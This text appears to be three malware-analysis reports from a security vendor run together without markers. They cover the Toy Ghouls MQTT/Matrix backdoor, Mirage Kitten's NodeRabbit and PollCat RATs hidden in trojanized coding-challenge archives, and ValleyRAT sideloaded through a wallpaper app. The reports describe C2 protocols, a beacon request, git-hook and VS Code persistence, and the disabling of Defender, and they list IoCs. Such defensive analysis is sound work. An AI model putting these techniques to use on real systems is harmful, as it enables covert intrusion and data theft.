Introduction

We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.

We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:

• mqtt-bird-agent 0.1.0 (HiveMQ version)
• matrix-bird-agent 0.1.0 (Element version)

This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.

Technical details

Delivery

In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.

Installation

The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.

Other launch options are listed in the backdoor’s help output:

C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]

Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version

HiveMQ version backdoor help output

In the Element version, the backdoor help output looks as follows:

C:\wtass.exe -h
Matrix monitoring agent

Usage: wtass.exe [OPTIONS] [COMMAND]

Commands:
  install    Register this agent with the Matrix homeserver and panel
  uninstall  Remove this agent's service and credentials
  service    Run as a Windows service (internal)
  help       Print this message or the help of the given subcommand(s)

Options:
  -c, --config <CONFIG>
  -h, --help             Print help
  -V, --version          Print version

Element version backdoor help output

By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.

The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.

If the configuration cannot be decrypted, the backdoor stops running.

Encrypted configuration files look as follows:

Encrypted backdoor configuration file, HiveMQ version

The encrypted portion of the HiveMQ version’s configuration contains the following parameters:

• agent_privkey: the agent’s private key
• channel_id: the channel identifier used to communicate with the broker
• server_pubkey: the server’s public key

Decrypted blob field in the HiveMQ version’s configuration

In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.

Decrypted Element version configuration file, retrieved from the registry

The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.

Communication

At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.

The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.

• Once a connection is established, the system’s status is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/status. The message format is: {"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
• At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is: {cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• The backdoor sends GET requests to broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format: {"cmd_id":int,"command":"str","timeout_secs":int}.
• Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
• Command execution results are sent to the command server at broker.hivemq.com:8883/[cluster_id]/cmd/res in the {"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.

For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:

• Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
• At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version: {cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• This version of the backdoor supports two types of commands, distinguished by the start of the received message.
  • To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
  • Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
• Received commands are executed via the Windows command line interface.
• Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.

Takeaways

We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.

Indicators of compromise

Kaspersky security solution verdicts:

• HEUR:Backdoor.Win64.Suptoml.gen
• HEUR:Trojan.Script.Zapchast.conf
• Backdoor.Win64.Agent.smgdvy
• Trojan.Script.Zapchast.abwm
• Trojan.Win64.Agent.smgsfo
• Trojan.Script.Zapchast.abwo

File names and MD5 hashes:

• cplsupport.exe (BFADBEEE63A4F0BF19EC9DEB8FA58F58)
• wtass.exe (7916C33688385525078BEE504C90F359)
• config.toml

Registry keys:

• HKLM\Software\synapse\Config\SealedConfig
• HKLM\Software\SynapseAgent\metrics_interval

Service names:

• cplsupport (Problem Reports Control Panel)
• wtas (Windows Telemetry Aggregator Service)

Domain names:

• meet.element[.]tw
• broker.hivemq.com (a legitimate resource used by cybercriminals)
• ip-api.com (a legitimate resource used by cybercriminals)

While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.

NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.

During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.

Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.

Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*

Background

During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.

The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip

It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.

README file for a trojanized coding challenge app

The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.

Rules and time limit included in the trojanized coding challenge app README file

The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.

Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.

The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.

Initial access

The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.

The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.

NodeRabbit RAT: the first variant

We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.

Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.

NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.

NodeRabbit uses a persistence mechanism for each operating system:

The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:

1.	https://plugplay.azurewebsites[.]net
2.	https://Rgbteller.azurewebsites[.]net
3.	https://Wslwebui.azurewebsites[.]net

NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:

The malware sends encrypted requests using the following structure:

{
  "d": "base64(IV || ciphertext || authentication_tag)",
  "_r": "8 hexadecimal characters",
  "_t": "epoch timestamp"
}

C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:

NodeRabbit RAT: the second variant

Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.

Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.

Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.

Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.

To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).

The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.

For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.

NodeRabbit RAT: the third variant

Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.

The third variant communicates with its C2 infrastructure through a different set of API endpoints:

We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.

1.	https://visitfinancedentists[.]com
2.	https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
3.	https://healthcomfsdpower[.]com

For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:

A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.

Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.

1. Malicious VS Code extension

The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.

The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.

Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.

2. Git hook injection

Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.

For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.

PollCat RAT

While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.

Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.

README instructions and challenge overview included in the trojanized React coding project

The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.

One-hour session window enforced by the trojanized coding challenge

The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.

Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier

The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.

That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.

A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.

Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:

Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:

1.	https://sahi-finance[.]com
2.	https://GamebarAppinformation[.]azurewebsites[.]net
3.	https://GamebarApp[.]azurewebsites[.]net

To register, it sends the following HTTP request to the C2:

POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}

On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:

HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}

After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.

By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.

PollCat RAT declares 22 commands, but three of them have no implementation:

The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.

EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:

• %SystemDrive%\Program Files
• %SystemDrive%\Program Files (x86)
• %LOCALAPPDATA%
• %LOCALAPPDATA%\Programs
• %APPDATA%
• %USERPROFILE%
• %APPDATA%\Microsoft\Outlook
• %LOCALAPPDATA%\Microsoft\Olk\Attachments
• %USERPROFILE%\Documents

It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.

When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.

Infrastructure

Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.

Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com

Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.

Victims

Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.

We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.

Attribution

We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:

1. Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
   • Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
     

     Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

   • Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
     

     Malware	Host registration request body	C2 endpoint
     PollCat	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false}	/gate/hello
     MiniFast/Retrograde	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>}	/agent/init

   • Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
   • Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
   • Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
     

     Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

   • Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
2. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
3. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
4. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.

Conclusions

Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.

The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CBAAF0900A13F28E380F49ADECEC932C  FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5  Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E  Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7  fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA  webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE  webapp76531.zip
BE086789568441D0D7E4679AEE51F566  challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196  challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA  Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B  Case-34234.zip
795E053A990A1569FFDCB57F48F6D085  RankChallenge-react-6uJSX3-main.zip

Domains and IPs

oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com

Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.

Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.

Malicious installer

The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.

These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.

The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.

The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:

After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.

Disabling Windows Defender

DLL Sideloading via libcef.dll

QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.

QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.

Example of an exported function

Loading functions from the original libcef.dll

The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.

The RunDLL function

Running the malicious code

When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.

This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.

Inside mw_entry, the malware checks two things:

• Whether the current user belongs to the Administrators group
• Which process the DLL is running inside

Checking for administrator privileges

If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.

Relaunching the process to obtain administrator privileges

Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:

• If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
  

  Encrypted payload

• If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
  

  Retrieving the payload from a resource

Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.

Validating the PE file headers after decryption

If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.

Calling DllMain

ValleyRAT

ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.

Obfuscated configuration

During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.

Parsing the configuration

Some of the configuration fields are listed below:

The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:

• Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
  

  Injecting code into svchost

  The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.

  

  Injected function

• Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
  

  Setting its own process as critical

• Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
  

  Restarting on exceptions

The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.

Capturing clipboard data

If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:

Window name checks

After completing these checks, the backdoor collects system information, including:

• Host name
• Host IP addresses
• User idle time
• Detailed Windows version information (ProductName, EditionId, DisplayVersion)
• Number of CPU cores
• Free disk space
• Graphics adapter
• Currently focused window and its title
• System bitness
• Language settings
• Path to the system directory

On command, the backdoor can perform the actions typical of this malware category:

• Rebooting the computer
• Shutting down the computer
• Taking a screenshot
• Wiping logs
• Updating its C2 addresses
• Downloading additional modules
• Sending keylogger logs along with clipboard contents

Snippet of the command handler

